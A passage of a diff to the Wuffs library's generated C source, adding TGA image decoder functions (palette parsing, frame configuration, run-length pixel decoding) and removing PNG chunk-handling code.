} -+ num_bits_10 += 8u; -+ *scratch |= ((uint64_t)(num_bits_10)) << 56; -+ } -+ } -+ v_c32 = t_10; -+ } -+ self->private_data.f_src_palette[(((v_i & 255u) * 4u) + 0u)] = ((uint8_t)((v_c32 >> 0u))); -+ self->private_data.f_src_palette[(((v_i & 255u) * 4u) + 1u)] = ((uint8_t)((v_c32 >> 8u))); -+ self->private_data.f_src_palette[(((v_i & 255u) * 4u) + 2u)] = ((uint8_t)((v_c32 >> 16u))); -+ self->private_data.f_src_palette[(((v_i & 255u) * 4u) + 3u)] = 255u; -+ } else if (self->private_impl.f_header_color_map_entry_size == 32u) { -+ { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(19); -+ uint32_t t_11; -+ if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 4)) { -+ t_11 = wuffs_base__peek_u32le__no_bounds_check(iop_a_src); -+ iop_a_src += 4; -+ } else { -+ self->private_data.s_do_decode_image_config.scratch = 0; -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(20); -+ while (true) { -+ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -+ status = wuffs_base__make_status(wuffs_base__suspension__short_read); -+ goto suspend; -+ } -+ uint64_t* scratch = &self->private_data.s_do_decode_image_config.scratch; -+ uint32_t num_bits_11 = ((uint32_t)(*scratch >> 56)); -+ *scratch <<= 8; -+ *scratch >>= 8; -+ *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_11; -+ if (num_bits_11 == 24) { -+ t_11 = ((uint32_t)(*scratch)); -+ break; -+ } -+ num_bits_11 += 8u; -+ *scratch |= ((uint64_t)(num_bits_11)) << 56; -+ } -+ } -+ v_c32 = t_11; -+ } -+ self->private_data.f_src_palette[(((v_i & 255u) * 4u) + 0u)] = ((uint8_t)((v_c32 >> 0u))); -+ self->private_data.f_src_palette[(((v_i & 255u) * 4u) + 1u)] = ((uint8_t)((v_c32 >> 8u))); -+ self->private_data.f_src_palette[(((v_i & 255u) * 4u) + 2u)] = ((uint8_t)((v_c32 >> 16u))); -+ self->private_data.f_src_palette[(((v_i & 255u) * 4u) + 3u)] = ((uint8_t)((v_c32 >> 24u))); -+ } else { -+ { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(21); -+ uint32_t t_12; -+ if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 2)) { -+ t_12 = ((uint32_t)(wuffs_base__peek_u16le__no_bounds_check(iop_a_src))); -+ iop_a_src += 2; -+ } else { -+ self->private_data.s_do_decode_image_config.scratch = 0; -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(22); -+ while (true) { -+ if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -+ status = wuffs_base__make_status(wuffs_base__suspension__short_read); -+ goto suspend; -+ } -+ uint64_t* scratch = &self->private_data.s_do_decode_image_config.scratch; -+ uint32_t num_bits_12 = ((uint32_t)(*scratch >> 56)); -+ *scratch <<= 8; -+ *scratch >>= 8; -+ *scratch |= ((uint64_t)(*iop_a_src++)) << num_bits_12; -+ if (num_bits_12 == 8) { -+ t_12 = ((uint32_t)(*scratch)); -+ break; -+ } -+ num_bits_12 += 8u; -+ *scratch |= ((uint64_t)(num_bits_12)) << 56; -+ } -+ } -+ v_c32 = t_12; -+ } -+ v_c5 = (31u & (v_c32 >> 0u)); -+ self->private_data.f_src_palette[(((v_i & 255u) * 4u) + 0u)] = ((uint8_t)(((v_c5 << 3u) | (v_c5 >> 2u)))); -+ v_c5 = (31u & (v_c32 >> 5u)); -+ self->private_data.f_src_palette[(((v_i & 255u) * 4u) + 1u)] = ((uint8_t)(((v_c5 << 3u) | (v_c5 >> 2u)))); -+ v_c5 = (31u & (v_c32 >> 10u)); -+ self->private_data.f_src_palette[(((v_i & 255u) * 4u) + 2u)] = ((uint8_t)(((v_c5 << 3u) | (v_c5 >> 2u)))); -+ self->private_data.f_src_palette[(((v_i & 255u) * 4u) + 3u)] = 255u; -+ } -+ v_i += 1u; -+ } -+ while (v_i < 256u) { -+ self->private_data.f_src_palette[((v_i * 4u) + 0u)] = 0u; -+ self->private_data.f_src_palette[((v_i * 4u) + 1u)] = 0u; -+ self->private_data.f_src_palette[((v_i * 4u) + 2u)] = 0u; -+ self->private_data.f_src_palette[((v_i * 4u) + 3u)] = 255u; -+ v_i += 1u; -+ } -+ } -+ self->private_impl.f_frame_config_io_position = wuffs_base__u64__sat_add((a_src ? a_src->meta.pos : 0), ((uint64_t)(iop_a_src - io0_a_src))); -+ if (a_dst != NULL) { -+ wuffs_base__image_config__set( -+ a_dst, -+ self->private_impl.f_src_pixfmt, -+ 0u, -+ self->private_impl.f_width, -+ self->private_impl.f_height, -+ self->private_impl.f_frame_config_io_position, -+ self->private_impl.f_opaque); -+ } -+ self->private_impl.f_call_sequence = 32u; -+ -+ goto ok; -+ ok: -+ self->private_impl.p_do_decode_image_config = 0; -+ goto exit; -+ } -+ -+ goto suspend; -+ suspend: -+ self->private_impl.p_do_decode_image_config = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; -+ self->private_data.s_do_decode_image_config.v_i = v_i; -+ -+ goto exit; -+ exit: -+ if (a_src && a_src->data.ptr) { -+ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); -+ } -+ -+ return status; -+} -+ -+// -------- func tga.decoder.decode_frame_config -+ -+WUFFS_BASE__GENERATED_C_CODE -+WUFFS_BASE__MAYBE_STATIC wuffs_base__status -+wuffs_tga__decoder__decode_frame_config( -+ wuffs_tga__decoder* self, -+ wuffs_base__frame_config* a_dst, -+ wuffs_base__io_buffer* a_src) { -+ if (!self) { -+ return wuffs_base__make_status(wuffs_base__error__bad_receiver); -+ } -+ if (self->private_impl.magic != WUFFS_BASE__MAGIC) { -+ return wuffs_base__make_status( -+ (self->private_impl.magic == WUFFS_BASE__DISABLED) -+ ? wuffs_base__error__disabled_by_previous_error -+ : wuffs_base__error__initialize_not_called); -+ } -+ if (!a_src) { -+ self->private_impl.magic = WUFFS_BASE__DISABLED; -+ return wuffs_base__make_status(wuffs_base__error__bad_argument); -+ } -+ if ((self->private_impl.active_coroutine != 0) && -+ (self->private_impl.active_coroutine != 2)) { -+ self->private_impl.magic = WUFFS_BASE__DISABLED; -+ return wuffs_base__make_status(wuffs_base__error__interleaved_coroutine_calls); -+ } -+ self->private_impl.active_coroutine = 0; -+ wuffs_base__status status = wuffs_base__make_status(NULL); -+ -+ wuffs_base__status v_status = wuffs_base__make_status(NULL); -+ -+ uint32_t coro_susp_point = self->private_impl.p_decode_frame_config; -+ switch (coro_susp_point) { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; -+ -+ while (true) { -+ { -+ wuffs_base__status t_0 = wuffs_tga__decoder__do_decode_frame_config(self, a_dst, a_src); -+ v_status = t_0; -+ } -+ if ((v_status.repr == wuffs_base__suspension__short_read) && (a_src && a_src->meta.closed)) { -+ status = wuffs_base__make_status(wuffs_tga__error__truncated_input); -+ goto exit; -+ } -+ status = v_status; -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(1); -+ } -+ -+ ok: -+ self->private_impl.p_decode_frame_config = 0; -+ goto exit; -+ } -+ -+ goto suspend; -+ suspend: -+ self->private_impl.p_decode_frame_config = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; -+ self->private_impl.active_coroutine = wuffs_base__status__is_suspension(&status) ? 2 : 0; -+ -+ goto exit; -+ exit: -+ if (wuffs_base__status__is_error(&status)) { -+ self->private_impl.magic = WUFFS_BASE__DISABLED; -+ } -+ return status; -+} -+ -+// -------- func tga.decoder.do_decode_frame_config -+ -+WUFFS_BASE__GENERATED_C_CODE -+static wuffs_base__status -+wuffs_tga__decoder__do_decode_frame_config( -+ wuffs_tga__decoder* self, -+ wuffs_base__frame_config* a_dst, -+ wuffs_base__io_buffer* a_src) { -+ wuffs_base__status status = wuffs_base__make_status(NULL); -+ -+ const uint8_t* iop_a_src = NULL; -+ const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -+ const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -+ const uint8_t* io2_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -+ if (a_src && a_src->data.ptr) { -+ io0_a_src = a_src->data.ptr; -+ io1_a_src = io0_a_src + a_src->meta.ri; -+ iop_a_src = io1_a_src; -+ io2_a_src = io0_a_src + a_src->meta.wi; -+ } -+ -+ uint32_t coro_susp_point = self->private_impl.p_do_decode_frame_config; -+ switch (coro_susp_point) { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; -+ -+ if (self->private_impl.f_call_sequence == 32u) { -+ } else if (self->private_impl.f_call_sequence < 32u) { -+ if (a_src) { -+ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); -+ } -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); -+ status = wuffs_tga__decoder__do_decode_image_config(self, NULL, a_src); -+ if (a_src) { -+ iop_a_src = a_src->data.ptr + a_src->meta.ri; -+ } -+ if (status.repr) { -+ goto suspend; -+ } -+ } else if (self->private_impl.f_call_sequence == 40u) { -+ if (self->private_impl.f_frame_config_io_position != wuffs_base__u64__sat_add((a_src ? a_src->meta.pos : 0), ((uint64_t)(iop_a_src - io0_a_src)))) { -+ status = wuffs_base__make_status(wuffs_base__error__bad_restart); -+ goto exit; -+ } -+ } else if (self->private_impl.f_call_sequence == 64u) { -+ self->private_impl.f_call_sequence = 96u; -+ status = wuffs_base__make_status(wuffs_base__note__end_of_data); -+ goto ok; - } else { -- status = wuffs_base__make_status(wuffs_png__error__bad_chunk); -- goto exit; -+ status = wuffs_base__make_status(wuffs_base__note__end_of_data); -+ goto ok; - } -- if (self->private_impl.f_num_decoded_frame_configs_value == 0u) { -- self->private_impl.f_first_rect_x0 = self->private_impl.f_frame_rect_x0; -- self->private_impl.f_first_rect_y0 = self->private_impl.f_frame_rect_y0; -- self->private_impl.f_first_rect_x1 = self->private_impl.f_frame_rect_x1; -- self->private_impl.f_first_rect_y1 = self->private_impl.f_frame_rect_y1; -- self->private_impl.f_first_duration = self->private_impl.f_frame_duration; -- self->private_impl.f_first_disposal = self->private_impl.f_frame_disposal; -- self->private_impl.f_first_overwrite_instead_of_blend = self->private_impl.f_frame_overwrite_instead_of_blend; -+ if (a_dst != NULL) { -+ wuffs_base__frame_config__set( -+ a_dst, -+ wuffs_base__utility__make_rect_ie_u32( -+ 0u, -+ 0u, -+ self->private_impl.f_width, -+ self->private_impl.f_height), -+ ((wuffs_base__flicks)(0u)), -+ 0u, -+ self->private_impl.f_frame_config_io_position, -+ 0u, -+ self->private_impl.f_opaque, -+ false, -+ 4278190080u); - } -+ self->private_impl.f_call_sequence = 64u; - -- goto ok; - ok: -- self->private_impl.p_decode_fctl[0] = 0; -+ self->private_impl.p_do_decode_frame_config = 0; - goto exit; - } - - goto suspend; - suspend: -- self->private_impl.p_decode_fctl[0] = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; -- self->private_data.s_decode_fctl[0].v_x0 = v_x0; -- self->private_data.s_decode_fctl[0].v_x1 = v_x1; -- self->private_data.s_decode_fctl[0].v_y1 = v_y1; -+ self->private_impl.p_do_decode_frame_config = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; - - goto exit; - exit: -@@ -56212,15 +69922,114 @@ wuffs_png__decoder__decode_fctl( - return status; - } - --// -------- func png.decoder.decode_gama -+// -------- func tga.decoder.decode_frame -+ -+WUFFS_BASE__GENERATED_C_CODE -+WUFFS_BASE__MAYBE_STATIC wuffs_base__status -+wuffs_tga__decoder__decode_frame( -+ wuffs_tga__decoder* self, -+ wuffs_base__pixel_buffer* a_dst, -+ wuffs_base__io_buffer* a_src, -+ wuffs_base__pixel_blend a_blend, -+ wuffs_base__slice_u8 a_workbuf, -+ wuffs_base__decode_frame_options* a_opts) { -+ if (!self) { -+ return wuffs_base__make_status(wuffs_base__error__bad_receiver); -+ } -+ if (self->private_impl.magic != WUFFS_BASE__MAGIC) { -+ return wuffs_base__make_status( -+ (self->private_impl.magic == WUFFS_BASE__DISABLED) -+ ? wuffs_base__error__disabled_by_previous_error -+ : wuffs_base__error__initialize_not_called); -+ } -+ if (!a_dst || !a_src) { -+ self->private_impl.magic = WUFFS_BASE__DISABLED; -+ return wuffs_base__make_status(wuffs_base__error__bad_argument); -+ } -+ if ((self->private_impl.active_coroutine != 0) && -+ (self->private_impl.active_coroutine != 3)) { -+ self->private_impl.magic = WUFFS_BASE__DISABLED; -+ return wuffs_base__make_status(wuffs_base__error__interleaved_coroutine_calls); -+ } -+ self->private_impl.active_coroutine = 0; -+ wuffs_base__status status = wuffs_base__make_status(NULL); -+ -+ wuffs_base__status v_status = wuffs_base__make_status(NULL); -+ -+ uint32_t coro_susp_point = self->private_impl.p_decode_frame; -+ switch (coro_susp_point) { -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; -+ -+ while (true) { -+ { -+ wuffs_base__status t_0 = wuffs_tga__decoder__do_decode_frame(self, -+ a_dst, -+ a_src, -+ a_blend, -+ a_workbuf, -+ a_opts); -+ v_status = t_0; -+ } -+ if ((v_status.repr == wuffs_base__suspension__short_read) && (a_src && a_src->meta.closed)) { -+ status = wuffs_base__make_status(wuffs_tga__error__truncated_input); -+ goto exit; -+ } -+ status = v_status; -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(1); -+ } -+ -+ ok: -+ self->private_impl.p_decode_frame = 0; -+ goto exit; -+ } -+ -+ goto suspend; -+ suspend: -+ self->private_impl.p_decode_frame = wuffs_base__status__is_suspension(&status) ? coro_susp_point : 0; -+ self->private_impl.active_coroutine = wuffs_base__status__is_suspension(&status) ? 3 : 0; -+ -+ goto exit; -+ exit: -+ if (wuffs_base__status__is_error(&status)) { -+ self->private_impl.magic = WUFFS_BASE__DISABLED; -+ } -+ return status; -+} -+ -+// -------- func tga.decoder.do_decode_frame - - WUFFS_BASE__GENERATED_C_CODE - static wuffs_base__status --wuffs_png__decoder__decode_gama( -- wuffs_png__decoder* self, -- wuffs_base__io_buffer* a_src) { -+wuffs_tga__decoder__do_decode_frame( -+ wuffs_tga__decoder* self, -+ wuffs_base__pixel_buffer* a_dst, -+ wuffs_base__io_buffer* a_src, -+ wuffs_base__pixel_blend a_blend, -+ wuffs_base__slice_u8 a_workbuf, -+ wuffs_base__decode_frame_options* a_opts) { - wuffs_base__status status = wuffs_base__make_status(NULL); - -+ wuffs_base__status v_status = wuffs_base__make_status(NULL); -+ wuffs_base__pixel_format v_dst_pixfmt = {0}; -+ uint32_t v_dst_bits_per_pixel = 0; -+ uint64_t v_dst_bytes_per_pixel = 0; -+ uint32_t v_dst_x = 0; -+ uint32_t v_dst_y = 0; -+ wuffs_base__table_u8 v_tab = {0}; -+ wuffs_base__slice_u8 v_dst_palette = {0}; -+ wuffs_base__slice_u8 v_dst = {0}; -+ uint64_t v_dst_start = 0; -+ wuffs_base__slice_u8 v_src_palette = {0}; -+ uint64_t v_mark = 0; -+ uint64_t v_num_pixels64 = 0; -+ uint32_t v_num_pixels32 = 0; -+ uint32_t v_lit_length = 0; -+ uint32_t v_run_length = 0; -+ uint64_t v_num_dst_bytes = 0; -+ uint32_t v_num_src_bytes = 0; -+ uint32_t v_c32 = 0; -+ uint32_t v_c5 = 0; -+ - const uint8_t* iop_a_src = NULL; - const uint8_t* io0_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; - const uint8_t* io1_a_src WUFFS_BASE__POTENTIALLY_UNUSED = NULL; -@@ -56232,516 +70041,739 @@ wuffs_png__decoder__decode_gama( - io2_a_src = io0_a_src + a_src->meta.wi; - } - -- uint32_t coro_susp_point = self->private_impl.p_decode_gama[0]; -+ uint32_t coro_susp_point = self->private_impl.p_do_decode_frame; -+ if (coro_susp_point) { -+ v_dst_bytes_per_pixel = self->private_data.s_do_decode_frame.v_dst_bytes_per_pixel; -+ v_dst_x = self->private_data.s_do_decode_frame.v_dst_x; -+ v_dst_y = self->private_data.s_do_decode_frame.v_dst_y; -+ v_mark = self->private_data.s_do_decode_frame.v_mark; -+ v_num_pixels32 = self->private_data.s_do_decode_frame.v_num_pixels32; -+ v_lit_length = self->private_data.s_do_decode_frame.v_lit_length; -+ v_run_length = self->private_data.s_do_decode_frame.v_run_length; -+ v_num_dst_bytes = self->private_data.s_do_decode_frame.v_num_dst_bytes; -+ } - switch (coro_susp_point) { - WUFFS_BASE__COROUTINE_SUSPENSION_POINT_0; - -- if (self->private_impl.f_chunk_length != 4u) { -- status = wuffs_base__make_status(wuffs_png__error__bad_chunk); -+ if (self->private_impl.f_call_sequence == 64u) { -+ } else if (self->private_impl.f_call_sequence < 64u) { -+ if (a_src) { -+ a_src->meta.ri = ((size_t)(iop_a_src - a_src->data.ptr)); -+ } -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); -+ status = wuffs_tga__decoder__do_decode_frame_config(self, NULL, a_src); -+ if (a_src) { -+ iop_a_src = a_src->data.ptr + a_src->meta.ri; -+ } -+ if (status.repr) { -+ goto suspend; -+ } -+ } else { -+ status = wuffs_base__make_status(wuffs_base__note__end_of_data); -+ goto ok; -+ } -+ if (self->private_impl.f_header_color_map_type != 0u) { -+ v_src_palette = wuffs_base__make_slice_u8(self->private_data.f_src_palette, 1024); -+ } -+ v_status = wuffs_base__pixel_swizzler__prepare(&self->private_impl.f_swizzler, -+ wuffs_base__pixel_buffer__pixel_format(a_dst), -+ wuffs_base__pixel_buffer__palette_or_else(a_dst, wuffs_base__make_slice_u8(self->private_data.f_dst_palette, 1024)), -+ wuffs_base__utility__make_pixel_format(self->private_impl.f_src_pixfmt), -+ v_src_palette, -+ a_blend); -+ if ( ! wuffs_base__status__is_ok(&v_status)) { -+ status = v_status; -+ if (wuffs_base__status__is_error(&status)) { -+ goto exit; -+ } else if (wuffs_base__status__is_suspension(&status)) { -+ status = wuffs_base__make_status(wuffs_base__error__cannot_return_a_suspension); -+ goto exit; -+ } -+ goto ok; -+ } -+ v_dst_pixfmt = wuffs_base__pixel_buffer__pixel_format(a_dst); -+ v_dst_bits_per_pixel = wuffs_base__pixel_format__bits_per_pixel(&v_dst_pixfmt); -+ if ((v_dst_bits_per_pixel & 7u) != 0u) { -+ status = wuffs_base__make_status(wuffs_base__error__unsupported_option); - goto exit; - } -- self->private_impl.f_chunk_length = 0u; -- self->private_impl.f_metadata_flavor = 5u; -- self->private_impl.f_metadata_fourcc = 1195461953u; -- { -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(1); -- uint64_t t_0; -- if (WUFFS_BASE__LIKELY(io2_a_src - iop_a_src >= 4)) { -- t_0 = ((uint64_t)(wuffs_base__peek_u32be__no_bounds_check(iop_a_src))); -- iop_a_src += 4; -- } else { -- self->private_data.s_decode_gama[0].scratch = 0; -- WUFFS_BASE__COROUTINE_SUSPENSION_POINT(2); -- while (true) { -- if (WUFFS_BASE__UNLIKELY(iop_a_src == io2_a_src)) { -- status = wuffs_base__make_status(wuffs_base__suspension__short_read); -- goto suspend; -- } -- uint64_t* scratch = &self->private_data.s_decode_gama[0].scratch; -- uint32_t num_bits_0 = ((uint32_t)(*scratch & 0xFFu)); -- *scratch >>= 8; -- *scratch <<= 8; -- *scratch |= ((uint64_t)(*iop_a_src++)) << (56 - num_bits_0); -- if (num_bits_0 == 24) { -- t_0 = ((uint64_t)(*scratch >> 32)); -- break; -+ v_dst_bytes_per_pixel = ((uint64_t)((v_dst_bits_per_pixel / 8u))); -+ if (((uint8_t)(self->private_impl.f_header_image_descriptor & 32u)) == 0u) { -+ v_dst_y = ((uint32_t)(self->private_impl.f_height - 1u)); -+ } -+ if (((uint8_t)(self->private_impl.f_header_image_type & 8u)) == 0u) { -+ v_lit_length = self->private_impl.f_width; -+ } -+ label__resume__continue:; -+ while (true) { -+ v_tab = wuffs_base__pixel_buffer__plane(a_dst, 0u); -+ v_dst_palette = wuffs_base__pixel_buffer__palette_or_else(a_dst, wuffs_base__make_slice_u8(self->private_data.f_dst_palette, 1024)); -+ while (v_dst_y < self->private_impl.f_height) { -+ v_dst = wuffs_private_impl__table_u8__row_u32(v_tab, v_dst_y); -+ v_dst_start = (((uint64_t)(v_dst_x)) * v_dst_bytes_per_pixel); -+ if (v_dst_start <= ((uint64_t)(v_dst.len))) { -+ v_dst = wuffs_base__slice_u8__subslice_i(v_dst, v_dst_start); -+ } else { -+ v_dst = wuffs_base__utility__empty_slice_u8(); -+ } -+ while (v_dst_x < self->private_impl.f_width) { -+ if (self->private_impl.f_src_bytes_per_pixel > 0u) { -+ if (v_lit_length > 0u) { -+ v_mark = ((uint64_t)(iop_a_src - io0_a_src)); -+ v_num_pixels64 = (((uint64_t)(io2_a_src - iop_a_src)) / ((uint64_t)(self->private_impl.f_src_bytes_per_pixel))); -+ v_num_pixels32 = ((uint32_t)(wuffs_base__u64__min(v_num_pixels64, ((uint64_t)(v_lit_length))))); -+ v_num_dst_bytes = (((uint64_t)(v_num_pixels32)) * v_dst_bytes_per_pixel); -+ v_num_src_bytes = (v_num_pixels32 * self->private_impl.f_src_bytes_per_pixel); -+ self->private_data.s_do_decode_frame.scratch = v_num_src_bytes; -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT(2); -+ if (self->private_data.s_do_decode_frame.scratch > ((uint64_t)(io2_a_src - iop_a_src))) { -+ self->private_data.s_do_decode_frame.scratch -= ((uint64_t)(io2_a_src - iop_a_src)); -+ iop_a_src = io2_a_src; -+ status = wuffs_base__make_status(wuffs_base__suspension__short_read); -+ goto suspend; -+ } -+ iop_a_src += self->private_data.s_do_decode_frame.scratch; -+ wuffs_base__pixel_swizzler__swizzle_interleaved_from_slice(&self->private_impl.f_swizzler, v_dst, v_dst_palette, wuffs_private_impl__io__since(v_mark, ((uint64_t)(iop_a_src - io0_a_src)), io0_a_src)); -+ if (v_num_dst_bytes <= ((uint64_t)(v_dst.len))) { -+ v_dst = wuffs_base__slice_u8__subslice_i(v_dst, v_num_dst_bytes); -+ } else { -+ v_dst = wuffs_base__utility__empty_slice_u8(); -+ } -+ v_dst_x += v_num_pixels32; -+ v_lit_length = (((uint32_t)(v_lit_length - v_num_pixels32)) & 65535u); -+ if (v_lit_length > 0u) { -+ status = wuffs_base__make_status(wuffs_base__suspension__short_read); -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(3); -+ goto label__resume__continue; -+ } -+ } else if (v_run_length > 0u) { -+ v_run_length -= 1u; -+ wuffs_base__pixel_swizzler__swizzle_interleaved_from_slice(&self->private_impl.f_swizzler, v_dst, v_dst_palette, wuffs_base__make_slice_u8(self->private_data.f_scratch, self->private_impl.f_scratch_bytes_per_pixel)); -+ if (v_dst_bytes_per_pixel <= ((uint64_t)(v_dst.len))) { -+ v_dst = wuffs_base__slice_u8__subslice_i(v_dst, v_dst_bytes_per_pixel); -+ } -+ v_dst_x += 1u; -+ } else { -+ if (((uint64_t)(io2_a_src - iop_a_src)) <= 0u) { -+ status = wuffs_base__make_status(wuffs_base__suspension__short_read); -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(4); -+ goto label__resume__continue; -+ } -+ if (((uint32_t)(wuffs_base__peek_u8be__no_bounds_check(iop_a_src))) < 128u) { -+ v_lit_length = (((uint32_t)(wuffs_base__peek_u8be__no_bounds_check(iop_a_src))) + 1u); -+ iop_a_src += 1u; -+ if ((v_lit_length + v_dst_x) > self->private_impl.f_width) { -+ status = wuffs_base__make_status(wuffs_tga__error__bad_run_length_encoding); -+ goto exit; -+ } -+ } else { -+ if (self->private_impl.f_src_bytes_per_pixel == 1u) { -+ if (((uint64_t)(io2_a_src - iop_a_src)) < 2u) { -+ status = wuffs_base__make_status(wuffs_base__suspension__short_read); -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(5); -+ goto label__resume__continue; -+ } -+ v_run_length = ((((uint32_t)(wuffs_base__peek_u8be__no_bounds_check(iop_a_src))) & 127u) + 1u); -+ iop_a_src += 1u; -+ self->private_data.f_scratch[0u] = wuffs_base__peek_u8be__no_bounds_check(iop_a_src); -+ iop_a_src += 1u; -+ } else if (self->private_impl.f_src_bytes_per_pixel == 3u) { -+ if (((uint64_t)(io2_a_src - iop_a_src)) < 4u) { -+ status = wuffs_base__make_status(wuffs_base__suspension__short_read); -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(6); -+ goto label__resume__continue; -+ } -+ v_run_length = ((((uint32_t)(wuffs_base__peek_u8be__no_bounds_check(iop_a_src))) & 127u) + 1u); -+ iop_a_src += 1u; -+ self->private_data.f_scratch[0u] = wuffs_base__peek_u8be__no_bounds_check(iop_a_src); -+ iop_a_src += 1u; -+ self->private_data.f_scratch[1u] = wuffs_base__peek_u8be__no_bounds_check(iop_a_src); -+ iop_a_src += 1u; -+ self->private_data.f_scratch[2u] = wuffs_base__peek_u8be__no_bounds_check(iop_a_src); -+ iop_a_src += 1u; -+ } else { -+ if (((uint64_t)(io2_a_src - iop_a_src)) < 5u) { -+ status = wuffs_base__make_status(wuffs_base__suspension__short_read); -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(7); -+ goto label__resume__continue; -+ } -+ v_run_length = ((((uint32_t)(wuffs_base__peek_u8be__no_bounds_check(iop_a_src))) & 127u) + 1u); -+ iop_a_src += 1u; -+ self->private_data.f_scratch[0u] = wuffs_base__peek_u8be__no_bounds_check(iop_a_src); -+ iop_a_src += 1u; -+ self->private_data.f_scratch[1u] = wuffs_base__peek_u8be__no_bounds_check(iop_a_src); -+ iop_a_src += 1u; -+ self->private_data.f_scratch[2u] = wuffs_base__peek_u8be__no_bounds_check(iop_a_src); -+ iop_a_src += 1u; -+ self->private_data.f_scratch[3u] = wuffs_base__peek_u8be__no_bounds_check(iop_a_src); -+ iop_a_src += 1u; -+ } -+ if ((v_run_length + v_dst_x) > self->private_impl.f_width) { -+ status = wuffs_base__make_status(wuffs_tga__error__bad_run_length_encoding); -+ goto exit; -+ } -+ } -+ } -+ } else { -+ if (v_lit_length > 0u) { -+ if (((uint64_t)(io2_a_src - iop_a_src)) < 2u) { -+ status = wuffs_base__make_status(wuffs_base__suspension__short_read); -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(8); -+ goto label__resume__continue; -+ } -+ v_c32 = ((uint32_t)(wuffs_base__peek_u16le__no_bounds_check(iop_a_src))); -+ iop_a_src += 2u; -+ v_c5 = (31u & (v_c32 >> 0u)); -+ self->private_data.f_scratch[0u] = ((uint8_t)(((v_c5 << 3u) | (v_c5 >> 2u)))); -+ v_c5 = (31u & (v_c32 >> 5u)); -+ self->private_data.f_scratch[1u] = ((uint8_t)(((v_c5 << 3u) | (v_c5 >> 2u)))); -+ v_c5 = (31u & (v_c32 >> 10u)); -+ self->private_data.f_scratch[2u] = ((uint8_t)(((v_c5 << 3u) | (v_c5 >> 2u)))); -+ self->private_data.f_scratch[3u] = 255u; -+ wuffs_base__pixel_swizzler__swizzle_interleaved_from_slice(&self->private_impl.f_swizzler, v_dst, v_dst_palette, wuffs_base__make_slice_u8(self->private_data.f_scratch, 4)); -+ if (v_dst_bytes_per_pixel <= ((uint64_t)(v_dst.len))) { -+ v_dst = wuffs_base__slice_u8__subslice_i(v_dst, v_dst_bytes_per_pixel); -+ } -+ v_dst_x += 1u; -+ v_lit_length -= 1u; -+ } else if (v_run_length > 0u) { -+ v_run_length -= 1u; -+ wuffs_base__pixel_swizzler__swizzle_interleaved_from_slice(&self->private_impl.f_swizzler, v_dst, v_dst_palette, wuffs_base__make_slice_u8(self->private_data.f_scratch, self->private_impl.f_scratch_bytes_per_pixel)); -+ if (v_dst_bytes_per_pixel <= ((uint64_t)(v_dst.len))) { -+ v_dst = wuffs_base__slice_u8__subslice_i(v_dst, v_dst_bytes_per_pixel); -+ } -+ v_dst_x += 1u; -+ } else { -+ if (((uint64_t)(io2_a_src - iop_a_src)) <= 0u) { -+ status = wuffs_base__make_status(wuffs_base__suspension__short_read); -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(9); -+ goto label__resume__continue; -+ } -+ if (((uint32_t)(wuffs_base__peek_u8be__no_bounds_check(iop_a_src))) < 128u) { -+ v_lit_length = (((uint32_t)(wuffs_base__peek_u8be__no_bounds_check(iop_a_src))) + 1u); -+ iop_a_src += 1u; -+ if ((v_lit_length + v_dst_x) > self->private_impl.f_width) { -+ status = wuffs_base__make_status(wuffs_tga__error__bad_run_length_encoding); -+ goto exit; -+ } -+ } else { -+ if (((uint64_t)(io2_a_src - iop_a_src)) < 3u) { -+ status = wuffs_base__make_status(wuffs_base__suspension__short_read); -+ WUFFS_BASE__COROUTINE_SUSPENSION_POINT_MAYBE_SUSPEND(10); -+ goto label__resume__continue; -+ } -+ v_run_length = ((((uint32_t)(wuffs_base__peek_u8be__no_bounds_check(iop_a_src))) & 127u) + 1u); -+ iop_a_src += 1u; -+ v_c32 = ((uint32_t)(wuffs_base__peek_u16le__no_bounds_check(iop_a_src))); -+ iop_a_src += 2u; -+ v_c5 = (31u & (v_c32 >> 0u)); -+ self->private_data.f_scratch[0u] = ((uint8_t)(((v_c5 << 3u) | (v_c5 >> 2u)))); -+ v_c5 = (31u & (v_c32 >> 5u)); -+ self->private_data.f_scratch[1u] = ((uint8_t)(((v_c5 << 3u) | (v_c5 >> 2u)))); -+ v_c5 = (31u & (v_c32 >> 10u)); -+ self->private_data.f_scratch[2u] = ((uint8_t)(((v_c5 << 3u) | (v_c5 >> 